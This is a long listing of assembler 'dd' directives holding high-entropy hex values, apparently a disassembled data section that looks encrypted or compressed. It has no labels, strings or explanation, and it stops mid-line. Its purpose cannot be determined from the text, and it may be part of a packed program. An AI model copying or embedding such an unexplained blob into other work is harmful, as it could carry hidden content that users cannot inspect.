0E4559BE9h, 5820F008h, 68C441E3h, 0C28DFB3Dh dd 7078F260h, 60569F43h, 2065D950h, 0E91632E8h, 0BF61EB6h dd 76973A20h, 25BB89A3h, 0DCD6BA57h, 0F18264D2h, 5BF22EB8h dd 847E9B0h, 4A381395h, 0B06A835h, 7828B529h, 2D2B611h dd 50EE36BBh, 0D5253AD6h, 0FF44BB80h, 0E91532E4h, 1172C65Bh dd 614A0268h, 7DDA3980h, 32A307D9h, 806F1AD3h, 0C6AA2F51h dd 1CF5F31h, 8F1FABCFh, 0C47F306Fh, 80A07D28h, 40C60F30h dd 0A15DC380h, 0B97AB3D2h, 1BB09233h, 132ECE7Ch, 0B29FB13h dd 4BD42A6Ch, 0EB34EF04h, 0AF768459h, 24336F00h, 0C4EAC12Dh dd 2B4E6B6h, 0DD836858h, 0FC88AD59h, 0A5D927BBh, 2D105524h dd 80C6FE03h, 509FA7EEh dd 5AF4084Eh, 0B5B2521Fh, 517ACA01h, 0C1FC4AB1h, 0A7A972Ch dd 0F7C5CE27h, 0BE305B2Bh, 3C18B753h, 0C66FA88h, 0C15E8033h dd 4B04E312h, 0E4857B0Bh, 0DDC59F16h, 57845E97h, 4BFD8EBBh dd 0CBD484A2h, 0EE68FD04h, 0FB53EF0Ah, 0F840F903h, 5123218h dd 7EE10210h, 5E39947Bh, 0F8409A5h, 0CA2100A0h, 61876FB7h dd 76220C54h, 9C00CF1Ah, 0E671D639h, 9ABC92E9h, 98D04F18h dd 5C44735Fh, 60990F3h, 7C2649BEh, 0E9E8C95Eh, 587E6520h dd 0C25A2C50h, 7E595A02h, 55ADCAFh, 0B283732h, 0BEE23CA1h dd 4A7D2862h, 974055A4h, 0DD000277h, 0EF874F69h, 9F4188E9h dd 0E98A9B4Dh, 0D0BFC7E5h, 280107E6h, 0B55153D8h, 2F218824h dd 0F4E35A42h, 0BD170B10h, 546B8EF6h, 2FDCA2C2h, 806006E9h dd 38C95A59h, 24F3C58Eh, 1E593935h, 6302CD81h, 21ECF474h dd 5A9AF20Eh, 0E4E98401h, 0BB3CC5ACh, 6B3BC94Eh, 50F7D728h dd 0E7480D1h, 92DF963h, 0E9310777h, 3FFD92FEh, 0A3706DC2h dd 90B65204h, 0F5BEF388h, 0E2577E1Ah, 21DB13FBh, 7EA6E92Eh dd 0C8FF4C13h, 77413A1Bh, 0F4D4896Bh, 0F63F6853h, 18F67028h dd 4428884Fh, 687840D6h, 0E648982Dh, 5D540752h, 96E91B4Bh dd 1EB01B86h, 0B2212EEFh, 11162909h, 471DD20h, 0D728DEBDh dd 7D58AC75h, 0F46B2C2Ah, 5CEC907h, 0E1602FCAh, 4F824C9Fh dd 704EA26Ah, 0FF957E1Eh, 9074E009h, 129A72Bh, 69B8310Eh dd 3A3D2711h, 0E0D1D4C0h, 301EB8C1h, 897FE1E9h, 6595386Ah dd 926804C8h, 0E8CE9D7Ah, 189F43C1h, 0A619D3Dh, 80E93033h dd 0FBFCAFB4h, 59F61C25h, 30C41ADAh, 0B2BE0F76h, 4B34890Fh dd 7C7EE2FDh, 797D7A7Dh, 0B62D43B0h, 6B7C491Eh, 25FF47D2h dd 0F71A803Fh, 4F3E9F27h, 0E2632F59h, 816FC226h, 111E2A80h dd 0F64620h, 0C7537912h, 0ADE9F589h, 0E6D509BFh, 0ED8006ADh dd 0AD5F6C0h, 512CFB00h, 8CE9B004h, 4FC896F5h, 0F994CF04h dd 20BE94B7h, 8BBA0078h, 81327C50h, 651312F2h, 0AAF86B7Fh dd 26CF5F0Bh, 90CE9104h, 3185E541h, 57A6B25h, 7A834DFBh dd 0C61F1CB2h, 46EACB3h, 985EF789h, 0BA3A6879h, 62583B2Bh dd 406B025Eh, 9D56C284h, 5A802E56h, 0A90DFB2Dh, 0BA509D1Ch dd 975D2F20h, 7425F9D6h, 0F0F17343h, 81327E17h, 0C542DFD0h dd 805F3257h, 743DDB08h, 87C0B56Fh, 0AB83064Fh, 0D2ED8D75h dd 5C00BD72h, 8BAC780h, 0C8BF36B0h, 0D3935CA8h, 187F21D5h dd 0A76800F1h, 5358265Fh, 0A4B208ACh, 4E3F4C3Bh, 0DB8E1DE9h dd 0C03C2F71h, 82B933F8h, 31D16755h, 2EA35F22h, 0FD3A7321h dd 59054E23h, 0F3339068h, 0D1853462h, 80825DF7h, 0AF8293EBh dd 0A84C5374h, 8D629C2Ah, 5F76434Dh, 5F8C3AAFh, 8F806484h dd 728850A2h, 0A2C74BF0h, 0AFD7C492h, 0B6640016h, 2402E0C0h dd 4B4AB77Dh, 0E6C11E81h, 9F6B860h, 7D2A5592h, 0EB033609h dd 1804598Ah, 60B04CC9h, 6750A000h, 0CA983173h, 0AD82847Eh dd 0BC3A753Ah, 1AC8C41Dh, 2E7AC9BBh, 43A49EE8h, 671268D3h dd 8E0DB510h, 4039F440h, 0FD1229FBh, 0C4BEED81h, 0C519C2FBh dd 0C524F057h, 96668FBh, 15A5C37Ch, 6FC4AB5Fh, 578F6CACh dd 26F4A2EBh, 569F1C28h, 14E9508Dh, 5A0AC7B2h, 0E55BF828h dd 2D398E1Fh, 0C696DDA9h, 429CA0FCh, 79F65C13h, 4A8CB511h dd 0EC3232BFh, 35017676h, 28625442h, 0A07B9AEBh, 94CF2FEh dd 1401764h, 0AE5D0BD7h, 687E2320h, 9AB03BD5h, 3A2C3D07h dd 86B0114h, 5D180814h, 2533670Eh, 645DD7F1h, 29F09DF4h dd 3C129320h, 4E720459h, 7430ACEBh, 94409EFCh, 156B9FBEh dd 97563FD1h, 56043114h, 0CA91CA25h, 0FF8B3D38h, 90EAA3A4h dd 0ADA3DBFFh, 95431CD7h, 6AA23020h, 0D4CC18E2h, 972D0D9Eh dd 2E057C49h, 6EF28697h, 820456DEh, 42AD4E0Eh, 49C3FE1h dd 4402A380h, 250F7B87h, 854B9BF4h, 455F1980h, 0D670CC7h dd 7EC7124h, 0D008C728h, 8B17140Ch, 9E8EEB0Ch, 0B384095Ch dd 3CEB5696h, 824F4B7Ah, 0EB4AE90h, 212C2202h, 24BED65Fh dd 77190BA6h, 785C4826h, 0C0069509h, 8267D669h, 963FF967h dd 0E04202DDh, 0C4C120BBh, 0AE4AF683h, 2C3AC1BAh, 21C43158h dd 0AE08052Ah, 4724D680h, 0AA464F23h, 6D03B73h, 0D15B3820h dd 0CA068055h, 4E31E443h, 11F48182h, 0ED12DD3Fh, 9B178A7h dd 4C28958h, 74BB5494h, 830DEC45h, 2ED028F4h, 4AEAEB26h dd 0B2556994h, 0EEF25FB8h, 0A822DF95h, 4E75851Fh, 71818236h dd 1E7DC9EEh, 3E5728B7h, 762D0117h, 0E2C159A3h, 6862CE03h dd 68211541h, 46BF5A86h, 0EB721001h, 2DE6ECBDh, 40EE9387h dd 50B75300h, 0EF80DFF6h, 0F6205AD9h, 0C2FE1FC8h, 5066DAC4h dd 8E0E0E84h, 0BFE20EA2h, 7AE9D87Ah, 0D1E00990h, 0DDEBC1FEh dd 0CB47E2Eh, 9D5A4ED5h, 4B78233Bh, 11280B9h, 8629BE35h dd 1CAA9BF3h, 0EE5FFE29h, 0EF8792B2h, 4ED63C8Ch, 0F774F44Dh dd 171B0258h, 64AA0151h, 0EC06C297h, 7F336801h, 0BEC1B4FFh dd 412FC097h, 4C45FDCFh, 142EE19h, 0C6B549CBh, 76B4228Bh dd 0DA060410h, 0C4E7225h, 0FB4CBC09h, 0EC59572Ah, 0DBE9D686h dd 3E69D5Dh, 0F9F76617h, 19578904h, 1753A6AEh, 16A97132h dd 0B8316284h, 2E5F142Bh, 56C60174h, 518DDF7Fh, 0A926A1F4h dd 0FD2E31A0h, 69277C11h, 0AC859C05h, 0ACDAA08Eh, 0D660D67h dd 428C629h, 0D9E2AF08h, 0B562BF13h, 334940DAh, 6D48273Eh dd 317F1843h, 14CEEF4Dh, 0C750B456h, 0FDEA3005h, 6E9482B0h dd 2D21E45Dh, 19F7E092h, 466428A1h, 0E3BB5F7Fh, 5384105Eh dd 199FBF03h, 0DCD1D343h, 1CC6B7Bh, 0D7D7522Dh, 0BE5C6612h dd 5533C531h, 0F6C9302Eh, 224A74F7h, 0BEB9BA07h, 0B0FED8D5h dd 0EA4E6A47h, 56D366ABh, 4F141820h, 4F52D15Bh, 0FDE32AE1h dd 9E675813h, 801108Fh, 0EE685E06h, 3D2C1702h, 1343179Ah dd 0D94DEB14h, 8003118Ah, 4BBF5E3Ch, 4602884Fh, 330646EDh dd 85585260h, 0EA02DD7Ch, 89B8AEF9h, 0E71440EFh, 0DF7A1497h dd 0D13DCD55h, 1844CF18h, 5071211Ch, 1C4F4730h, 2785E3AEh dd 0B3F431F1h, 922E984h, 4A22AF12h, 806D8920h, 1F9152C8h dd 1A0220E9h, 59134EBCh, 2A7D2DAAh, 0C7D228BBh, 0E92DAD92h dd 44C5E251h, 0B8A07045h, 409916Bh, 0BA500768h, 7420723Dh dd 0F8018802h, 4825FC93h, 0A8B58500h, 1EB9CF93h, 0CD1E8D40h dd 3B575436h, 0FD907487h, 0B524EA23h, 51C200C8h, 0B1CAA20h dd 0ACDE3C2Eh, 6369507h, 0EB05EC84h, 15655133h, 0EE1CF80Fh dd 3CF23201h, 9A942C50h, 0C03CED05h, 5F47AE1Ch, 0EE34492Fh dd 6B9ED15Fh, 0A544F204h, 4D5C29B4h, 0FDE49229h, 903FFBD7h dd 720BEA99h, 565FC727h, 2C08A091h, 40B75D5Bh, 3A832F44h dd 41CF89Dh, 4C206A35h, 0E48DF505h, 90043B9Eh, 2B38E947h dd 20C7AF12h, 0C5B45337h, 0E2A547D4h, 889148FAh, 0C5A05F0h dd 0EB6D247Fh, 0E8A23B85h, 92E6F27Dh, 0B5D7E0FEh, 63DEEF06h dd 9C0C1990h, 0C2EFA1Ch, 2F4813D7h, 0B104FE4Eh, 0FAEDC368h dd 0BE425381h, 2FCE405Ch, 0FC4F55E6h, 39E29EBh, 53A8CFA7h dd 754DE933h, 1E34BEEh, 0BEBC267Bh, 0D31D6F1Ch, 518BAE92h dd 8FB35301h, 7EDE8852h, 0E5B50A0h, 8007E5C0h, 0D5F6B7E0h dd 0BF6045E9h, 708ABD40h, 29112D02h, 6908DA59h, 215B135Fh dd 2CE71D20h, 27939002h, 616FDDDh, 0D45BD5FCh, 3FB82DBBh dd 64393292h, 28770064h dd 6B685351h, 2C5C4C40h, 81EB009Dh, 7A1965F3h, 0BDE92707h dd 0ED027742h, 0CC752D78h, 0E22D9008h, 52A42540h, 8807ADAh dd 6F25685Ah, 5BD0F467h, 222280Bh, 0B3938519h, 0C2877F0h dd 49C380F3h, 0E89C2306h, 6167C252h, 8665A1ECh, 0C276E33Ah dd 0FFFB81E9h, 2D018B72h, 56A63268h, 8B6AD829h, 25992716h dd 0B5EAEB8Bh, 0A9802035h, 6040112h, 0E92C30FFh, 22C97D17h dd 1832005Bh, 9676A870h, 0BF08A066h, 0CAAF3CC7h, 43FA6265h dd 85D19172h, 5ECEB76Bh, 0E42765B6h, 8EFC433h, 7CF20289h dd 0C075521Dh, 0C27A1D03h, 6F291E0Ch, 4FAF441h, 82050813h dd 0C19347B3h, 2754B9DAh, 7A3B2D2Bh, 0C0F3CEC8h, 3043F26Fh dd 4A7C4D73h, 55012A4Fh, 5B80B866h, 626C10E5h, 0FECF293Fh dd 5FB26C64h, 0D7685204h, 55149831h, 29533C16h, 6719CB00h dd 0C10E7Eh, 0B95108EEh, 459503BCh, 84B5E0B2h, 0A3A359D9h dd 0F81BE9C2h, 88A530FFh, 0E9549E1Ah, 0A7574777h, 0D885F1F3h dd 0C8D2E0E9h, 0DAC084ADh, 488EA6EBh, 71845E3Ch, 0FEB8C8C0h dd 5BB2F4CDh, 82BFA2ABh, 0DD5602C6h, 5EB0F96Ch, 5E89AA40h dd 5D29ABCAh, 6795812Ah, 83342A73h, 17F7E7AEh, 0AFED8670h dd 0EA8E711h, 734594EFh, 337D32F8h, 0F0595C96h, 0E3DC82BAh dd 5FFB0902h, 3F96FD43h, 0A5582E3Dh, 0BD435D28h, 0F2867600h dd 0C3E9161Fh, 0BA42C089h, 442D6782h, 8DE8F6F5h, 5025F59h dd 45DA4777h, 0E7C46850h, 5B62954Ah, 705F142h, 28EC0358h dd 1B19449h, 13EE44F9h, 5FCE8008h, 0AF4812E9h, 85028882h dd 422A5E68h, 83BA665Ah, 0E22E00F5h, 2EE959DEh, 40B3BB04h dd 3720322Eh, 4619CDFEh, 43B64D60h, 0B842076Eh, 263F9365h dd 505016D2h, 5205591Eh, 647A2BCFh, 0BDF431A5h, 0BE584AC3h dd 2A68C5CCh, 25CA401Eh, 9D1867Ch, 0E4700F42h, 0C5F29D5Bh dd 2C7D71A2h, 141F18BBh, 0E132077Fh, 8830D805h, 27DBC026h dd 6361D21Bh, 520A0318h, 85EF4CEh, 80019B19h, 0F50816F6h dd 663B332Bh, 5598CB7Fh, 2528BF2Ch, 16FACC88h, 0FE69AA5Fh dd 0B32BFB61h, 9BE6A432h, 3A40B40Bh, 83A82B02h, 5064A876h dd 0A0C3ADABh, 2F685158h, 49F360D9h, 981C6900h, 10E0BF34h dd 2F86624Ah, 7A30DD5Dh, 6CB0E9C1h, 5BB5F238h, 0BAA5A6E8h dd 0A25BA1E7h, 5231C465h, 2F0F880Bh, 0F4EEEA05h, 9B002D7h dd 4473CF0Bh, 0DA2604C9h, 0FD305802h, 1293F274h, 0FC3F41A1h dd 8814C878h, 5A0F6A3Bh, 610B7E31h, 0C1514A88h, 0D2DDD09h dd 95362A07h, 0FD49B258h, 68849B54h, 26E82D0Ah, 0BB48E5C4h dd 0EB01F771h, 0B1C3A87Eh, 0A9789317h, 0FDA40A9Eh, 0C20C8940h dd 6805F271h, 83CD29A6h, 5676076Fh, 450B21BEh, 96C282Bh dd 0DFD4BAF4h, 0A8FA1007h, 47D1B903h, 0BBA497D8h, 0C45F65D2h dd 0AD432035h, 0DE874127h, 4DBA02B9h, 0E1FD2608h, 0A6513368h dd 0DDB213AEh, 605F577Ah, 201DAC35h, 5E272A50h, 146F6656h dd 92757706h, 7B30EE0Fh, 2B2A116h, 0EE7F5D07h, 0B34A73FAh dd 0ED60551h, 0CF2CC1F3h, 339B514Eh, 96C462D2h, 7060BC21h dd 0B501E83Fh, 0C5EF24AEh, 46D2AFF8h, 0EC744050h, 19540F40h dd 29F6D9E9h, 680EEC1Dh, 5AEBA295h, 63BF007Fh, 1D286908h dd 0AC1DF747h, 10A7645Ch, 4F93E9A9h, 0E2AC3753h, 0AAF6763Bh dd 0D080C68h, 0BEFD5A2Dh, 0C3E5B775h, 0DBED811Ch, 0A85C4476h dd 0BF9D4AC3h, 423C496Ah, 644FD2F9h, 0C0126584h, 3236032Ch dd 45FBBF4Ah, 9006E934h, 6EF168FDh, 4050F52Dh, 251838E3h dd 0C9D10FEDh, 0CD5F8907h, 3050E961h, 2140203Fh, 44B55EF0h dd 8B53B76Fh, 0FD54C300h, 7022E91Ah, 9EFCB77Fh, 7DDF045Ah dd 6BC54EB8h, 0C42AB80Ah, 32EE4E37h, 197552F2h, 7A3DD3F4h dd 27B90810h, 0BC52251h, 0E7177C9h, 380013A6h, 0C136F04Bh dd 5C0573EFh, 0BE0231E7h, 7B427E19h, 0CDE888D8h, 78BDF29Ah dd 5F4E95FAh, 1A4FB5F6h, 0AFD777BDh, 0E2FFB3C4h, 0FE831652h dd 93DE34A3h, 0DACBBFB5h, 1E301350h, 4C602011h, 3F858C7h dd 38703D12h, 0EADA2F02h, 0B024F890h, 9C072077h, 0BE54F3BFh dd 0C19460FCh, 0C470C3EDh, 931D8B7h, 1DB08031h, 6590975h dd 0FC298CBCh, 2D6F0FC2h, 1C99017Bh, 0D0846B15h, 0B857879Ch dd 44535FA2h, 1D6BF6CAh, 416FD6ADh, 2A47A068h, 40D6F9DCh dd 0C60A2DD7h, 0C217BC5Fh, 261B3D02h, 41ACC14Dh, 9D7A54DCh dd 903189D2h, 80BF752Ch, 0B80826C0h, 48A26F37h, 0F627CE20h dd 2AEB86DEh, 0EA596481h, 0E906FA04h, 0A29DA052h, 15E65AFDh dd 0C7721668h, 2D56231Ch, 9D659C77h, 688538E5h, 4BAC4972h dd 0FC5DE8C4h, 917F59Fh, 0E9B181F8h, 0A4AEF6Ah, 4E3A04B4h dd 0C1AC3144h, 5B5A0166h, 3E2CD8C0h, 3D19520Bh, 2B5E289Eh dd 0B6EC5489h, 53A5941Bh, 0A7F60C5Fh, 0ED58692Dh, 562D7CB5h dd 0E97EB706h, 0BF289047h, 87E244DEh, 1767F56Ch, 0D1560993h dd 9D9800B3h, 2D4EE368h, 0E9B197A8h, 0B8413A4Eh, 8A0743E2h dd 4B7133Ah, 96266848h, 3C02C8E6h, 0E9224314h, 1AB7EE2h dd 570CD42Dh, 5924238h, 99A078Ah, 45796A7Fh, 2F8A3C88h dd 0E8046CFAh, 216611C1h, 47804BFEh, 28A0E87Fh, 0F24EB8EBh dd 12986EAAh, 8058C600h, 82B58FEEh, 210E2D9h, 0D9E0E581h dd 0F1957F49h, 0FC050EC4h, 3BE5A0F3h, 33B55D02h, 0D4FBA9E9h dd 9FD9EF5h, 3875B1A3h, 54F568A2h, 4E9F8F18h, 0A3433181h dd 0C9902A12h, 72651FE7h, 299848h, 58252951h, 9216A805h dd 0E8403E2Dh, 0E4BFDC4Ch, 0D7E916F9h, 1B90FB7Ch, 41896853h dd 5E060371h, 6CFFC5CAh, 0C082B7F3h, 770BA16Ch, 41550CA9h dd 0F02058DAh, 680904EEh, 0EDF52970h, 5EE24EC1h, 0B3FBE9C2h dd 0AF39CA0h, 984AE1BDh, 0FF6C1BEh, 88847978h, 16480481h dd 5F6D81C1h, 90412E8Fh, 7E8C04Ch, 58F47DF1h, 0C1DDC9E0h dd 0D904C37Dh, 0E32F92E1h, 0B8D3139Bh, 53EF4F40h, 28294A1Bh dd 180705C8h, 49C38EE9h, 0F31714C2h, 93F4D357h, 6B48410Ah dd 0B0BD8C2h, 5D698577h, 5FDFE10h, 0CB3D80CCh, 0DF7FE5C2h dd 0DC92B1Bh, 8A0704ABh, 0D140C0F5h, 27EB0122h, 45E2C8Bh dd 28E477D2h, 0D5F52125h, 112902E5h, 0BFC25D0Ch, 504B0BEFh dd 1FFA7CBDh, 0EA570882h, 22B6DD8Ah, 0A26046AAh, 81965707h dd 0BD6F70Dh, 894F4520h, 6BB57AEDh, 0C07B9AECh, 7FE8BE91h dd 0BBB2370Dh, 1FEFA120h, 0BCD15D58h, 9DAD92FFh, 6057E1C2h dd 97825CEFh, 643436E8h, 5A70D5A8h, 2C26A23Dh, 42B449ABh dd 62CAF680h, 72464883h, 4EBE1D0Bh, 7803A58h, 4B7095Dh dd 28E1B1E0h, 4875CB6Eh, 0D516CDC6h, 45D4F02Ah, 4A0D6F16h dd 3A825FAEh, 14400C52h, 0FC2214DAh, 0FD010803h, 0E90BEA28h dd 31717425h, 0D0B5CA72h, 2E517C44h, 83318296h, 2D8C3EBFh dd 7A2B873h, 0D9DB2862h, 0D7A64489h, 3056EBB9h, 0C6ECA0BCh dd 0A2E93712h, 9DE14AA4h, 2D51C2D4h, 981223D0h, 352E02B1h dd 0FD210CCCh, 40D0D1D7h, 3B563EF5h, 0B8E71050h, 78DE7A1Fh dd 5505F601h, 68210A90h, 7770632Ch, 0F9062CE5h, 8F54AFCBh dd 42DFF625h, 0AFCC77B6h, 61ED545Ah, 4E4FE9A4h, 0E9B144EDh dd 0AEAD2BBFh, 4C6855C1h, 4FCE2A13h, 0EF96D716h, 553E05C8h dd 827F2E6Bh, 27F6A735h, 0B6DDF650h, 48854952h, 0EC035302h dd 67FB10ADh, 945F5F2Dh, 64DCB747h, 7CF7006Bh, 98418D51h dd 0A09B5823h, 0C7370787h dd 91A8B26Eh, 0B080844Ah, 766A70B5h, 2FF5012Eh, 5E5A0820h dd 76CFF962h, 0B65525DFh, 853635EBh, 742A01Bh, 0CC554A86h dd 8141FAB1h, 17C9620h, 24050713h, 0D4699872h, 844A0B1Ah dd 6882FFBDh, 0EF9080Eh, 2346E985h, 75103AE3h, 13D4869h dd 0FA052015h, 3EF4CD01h, 0F1A9D624h, 0E4B03E99h, 5F939073h dd 0E91A932Bh, 4E7CCFA2h, 0FC43098Bh, 210549A8h, 2E27FBE5h dd 7965BB82h, 62F18A09h, 946867E7h, 7861A266h, 202E0624h dd 9CF8415Ah, 4A09773Ch, 0F700EAC1h, 9D28F1C2h, 0E6F8E15Ah dd 5998680Ah, 0F7BF8327h, 0CC287017h, 574EBDFEh, 29B31EA9h dd 84B14648h, 0ACE7BB6Ch, 9327503Eh, 7B0065DAh, 59338A3Ah dd 0E249D9F7h, 87F10581h, 0EFCC75C5h, 78FD5012h, 0CEAD2A50h dd 6FE5C29Dh, 0A02894A5h, 0DE5FC611h, 8882B075h, 0E1D0018Dh dd 0CF03E180h, 0C1B11BABh, 0FAB07B4Bh, 18C6B051h, 0A0EAB565h dd 0B49E2F28h, 371893ACh, 0B058C777h, 4AB70F4Bh, 0C5CACF56h dd 98C10171h, 7A85FA9Bh, 0B8BFCA1Fh, 65FE5F87h, 0A9CDBA7Eh dd 0BB2E90EDh, 4AFBFF62h, 0FD765FF2h, 775E0832h, 0E981E345h dd 0FCA257Ah, 0C73E3AD5h, 5DBC995h, 0E4CA912h, 0E75FAE87h dd 43E0AE05h, 5C3519F7h, 8766F297h, 2702EDC9h, 2AA7DC79h dd 4335903Dh, 0C7327D62h, 7C5B3060h, 6856613Ch, 0A6D22E5Ch dd 0DE3B6A4Eh, 450FEB10h, 7A0C4EBh, 1583B8BFh, 0B9FC894Eh dd 683FA64Dh, 2F4542AFh, 4D50189h, 25000D05h, 30090BA4h dd 5C05402Fh, 16CF1794h, 3A9C08F0h, 0EC76617h, 75E084Bh dd 237D48AFh, 34408252h, 741F551Eh, 0D20B565Bh, 9A4727Fh dd 76B98D60h, 0CA3810F4h, 33A492FEh, 0C1611A5Fh, 4E95410Ah dd 5327EA5Dh, 59ADB3E5h, 60A14A45h, 0AABDE9FAh, 39CE2BC0h dd 9F5CE603h, 127E9B89h, 25FCF681h, 0FD2FABBEh, 6DBE4EA8h dd 5DC62BB4h, 9FE4BD88h, 57A1B20h, 1E68DA01h, 0AEF36136h dd 90FA05B8h, 0EF65AC9Fh, 3404259Fh, 0D0B09053h, 0D0B74104h dd 0AE5E2CE8h, 0B600609Dh, 25E91BB6h, 7C548367h, 79A5C867h dd 805CD4h, 6F1F10E1h, 0CA10C56h, 0D548021Bh, 58757C01h dd 0E1ACE40Bh, 17B92201h, 3C0DA51Fh, 39A1510Eh, 67986AC2h dd 0D93ABC80h, 0F8455D27h, 0BFD05E80h, 3D60448h, 26486866h dd 52EC4FA5h, 0E7C20EC5h, 555425FEh, 5C9826E6h, 2F2796B5h dd 74AA90E9h, 4E5A0412h, 413BAD71h, 86CB2F08h, 4B85E117h dd 729CFA49h, 74E5C204h, 0D4BF2943h, 4F081E90h, 88385DEAh dd 2A264208h, 9717E136h, 0F654DB98h, 0DFB05441h, 0EB801C93h dd 51C3075Fh, 86E95FB5h, 365B9DE1h, 40FE302Fh, 5DC0E99Ch dd 0BF2D4C5Eh, 5EAD9DF4h, 0B6895A55h, 0B7AC3F56h, 0ADF5F108h dd 0A03BCA56h, 243505BCh, 0AA15DE7Dh, 0D302D51Eh, 847B16BDh dd 60B40AE3h, 0DC675E53h, 979401C7h, 0E7086809h, 9BA4BF76h dd 885387B0h, 94A385E7h, 0BB0E94E9h, 502A7EACh, 0B5F3ECE4h dd 16F7B942h, 0D43AFFD3h, 1EE8BB1Bh, 26129CB1h, 5B7005F5h dd 0ECB30943h, 587BA110h, 94792E25h, 0F80EA620h, 0D6735423h dd 402375EAh, 898C4035h, 5A9D05F2h, 0C1DBEDEh, 50CEB116h dd 0ED94BACAh, 642C4687h, 0FF1C69FEh, 0E2317E16h, 0C608189Fh dd 9D806BDCh, 68124F64h, 1FFC3E02h, 0BD7A0DC6h, 0F992DC2Dh dd 0B831930Bh, 82C3F29Fh, 6038BDDCh, 3B0CB6h, 662D4ECCh dd 0D10DF71h, 11FC13Fh, 585A056Eh, 0D27AB0F5h, 4100EBA3h dd 0ED30F238h, 5D2685E2h, 885C98AFh, 4F296F40h, 0EFD7D8CFh dd 0D3F6B909h, 5F9604F3h, 80788DFEh, 8E6B8A0Ch, 0BF7CE978h dd 0D3FEFAEAh, 33657009h, 0ADF2CB9Bh, 889F0CF3h, 88024237h dd 0C3805BF9h, 43CB8220h, 605EAEADh, 0CAF73DE5h, 1E7B6324h dd 0FF00144Eh, 2A2DD7B8h, 2A9E23h, 9A25E8D1h, 145F5671h dd 0B5EFF6D4h, 92B16FA2h, 1235E67Ah, 3A646720h, 5E8480FEh dd 0DAE4D787h, 1AE94316h, 7CAF3084h, 2532E986h, 0F2EF4F99h dd 0B9A2761Dh, 8B5349EEh, 5F6AED09h, 0C26BE659h, 2014D5F8h dd 4AEF6849h, 3C42CBFh, 29193D18h, 0B78B2AAh, 0E6E92D99h dd 765B1463h, 2BA9EABCh, 0AD6FFFE5h, 0A0E6D3FDh, 64CEED02h dd 26E237C2h, 13D8C177h, 52D3D72Dh, 1BBA0BEDh, 0E90965FEh dd 7EAF2BACh, 7A9B0116h, 3F412A45h, 0EF118B4h, 52DF7287h dd 0FE7DBCDEh, 0FE0CC143h, 2F8BA1F7h, 9E1347F0h, 0A876274Fh dd 5833D4FAh, 0BF80146Eh, 49127B39h, 0B14A784Dh, 58D2933Ah dd 20140E0Bh, 0FB0BB89h, 0C3A0C0CCh, 0E0FEC486h, 0C89F6D98h dd 98D90192h, 0B2DF920Ah, 0F0EF5DC2h, 5B4CB801h, 7F3145AFh dd 0E9E0F5ECh, 0EEBF2B4Ah, 755B5C74h, 0AB55FE35h, 0A94481C3h dd 95F41A5Dh, 337B9F5Bh, 6D286885h, 0F182F837h, 0F9B4685Fh dd 0EEF9538h, 1312088h, 0C28001B2h, 62068A9Bh, 2C138D88h dd 387466E8h, 5937E9AAh, 5627C45Bh, 3F49D8FAh, 14B47D5Eh dd 454E12CAh, 75170437h, 90ED408Ah, 9F116F54h, 0BE05A152h dd 315E1CF6h, 585DE3FEh, 55B69C2h, 27EA98AAh, 72C88270h dd 73B71FE4h, 0B0844996h, 417B91Fh, 323C451Ah, 2E018782h dd 393BE5C0h, 4D0B68FBh, 0F374B3E9h, 0C6B68925h, 0B5B24CDFh dd 0A25A9654h, 0EA695AAh, 80BD0016h, 0E2C05BCAh, 4A1D034Ch dd 7533F8C2h, 53123D65h, 4BC5D70Eh, 4912F9EBh, 0F2DFEEE2h dd 6AB826F4h, 0EA26171Dh, 7E5ABBC1h, 0B5DDD234h, 0ECE961F0h dd 9A953B39h, 9F685503h, 5370FB68h, 9815F797h, 0C325AE29h dd 0F5EE920Bh, 448ADC48h, 1560E79Eh, 7E12B665h, 0A8517740h dd 9977E4A1h, 0E8884316h, 224847E9h, 0F5598B83h, 1448D6B3h dd 4A30048Eh, 0D6E06DA4h, 6EE9E6D1h, 0FE808187h, 2268CE81h dd 66C7F3Bh, 1E7AB6EEh, 0C107EC30h, 9DDA2FD0h, 3FB07A93h dd 0A540F57Bh, 3D221CBEh, 0B5756990h, 5B2161E5h, 0AFF5DE2Fh dd 96597FFh, 8002C301h, 920A95A0h, 0DC298A0Bh, 8CC7EA8Bh dd 567E59A4h, 4C73BE00h, 0F6816BFAh, 586DF62Dh, 915FD9D4h dd 7BF729DFh, 0AB4EC7CBh, 0D55365C2h, 0E5EBBAD9h, 0FAE94196h dd 80EF0484h, 5E0F5487h, 0CD874506h, 0A008D9F7h, 12C19BE6h dd 0C001A703h, 3536C3A6h, 0A477F83Ch, 820BBF3h, 0E9EB290Dh dd 3CA66BA3h, 509907D9h, 0D5B9C559h, 3D13B9FFh, 0AB2CA1Fh dd 217148Dh, 6772E5A3h, 18B15100h, 0C828AE2Ch, 2B9D2C68h dd 36B7609Ah, 7073EF80h, 0F699E703h, 0D7CFFED7h, 0B4508120h dd 3F4FA98h, 8ECC0F9h, 0C4F3DCF6h, 58E730D8h, 0FFD8A3B5h dd 0B03E9ED0h, 8887E515h, 3B5F6857h, 13BD5A08h, 0CBF2F89Ch dd 182DD8FCh, 608E6C0h, 0EE4C8004h, 10F602B5h, 0D777EC68h dd 0F4A98219h, 8625BCC5h, 0A78F63F5h, 8420ED93h, 78BB9782h dd 0D86C9686h, 586093E9h, 1BF4BE16h, 870A48A8h, 0D4212673h dd 0AE5C1642h, 633003C9h, 0C2BA80CBh, 19964E1Eh, 0D5EB5B8Bh dd 685C5868h, 5B4B8F38h, 7B982DBAh, 4067EE4h, 0E5C14384h dd 0E61B8308h, 303C58B9h, 2B2FE9F5h, 5D26279Bh, 23F84484h dd 0D6E0A64Fh, 5B03412h, 25307E05h, 0E0F22E23h, 0B8C44B5Bh dd 855CE7AEh, 5420052Dh, 4B090130h, 4886A868h, 0E4A319FBh dd 72D85464h, 0ACDFB633h, 56BB045Dh, 0B45DFC29h, 3B43CFC0h dd 4A4730DEh, 3C0B0E74h, 0CDEF384Ah, 6C8BC199h, 3BAFC550h dd 50A93DFBh, 50666559h, 205D525Ch, 49412E34h, 6B093EC9h dd 2F05040Dh, 0A096A892h dd 26A5DF7h, 0E95E732Dh, 7CE8549Dh, 99252F08h, 0FD888204h dd 3A740AEFh, 0D875A04Fh, 0C6FCDCE0h, 0CB1CA8EDh, 5A87184Dh dd 0E87041FFh, 3EFCD18Dh, 84794A1Eh, 11903E72h, 831CC6C2h dd 825E4943h, 40B4EACCh, 73302F0Ch, 0ABD29554h, 305D0882h dd 978D781Dh, 2909DADBh, 8BCCD5E8h, 0FD741A30h, 1D4FADEBh dd 0A6C16E08h, 93F301D6h, 8251BB2Ch, 4D65E41Eh, 51D5830h dd 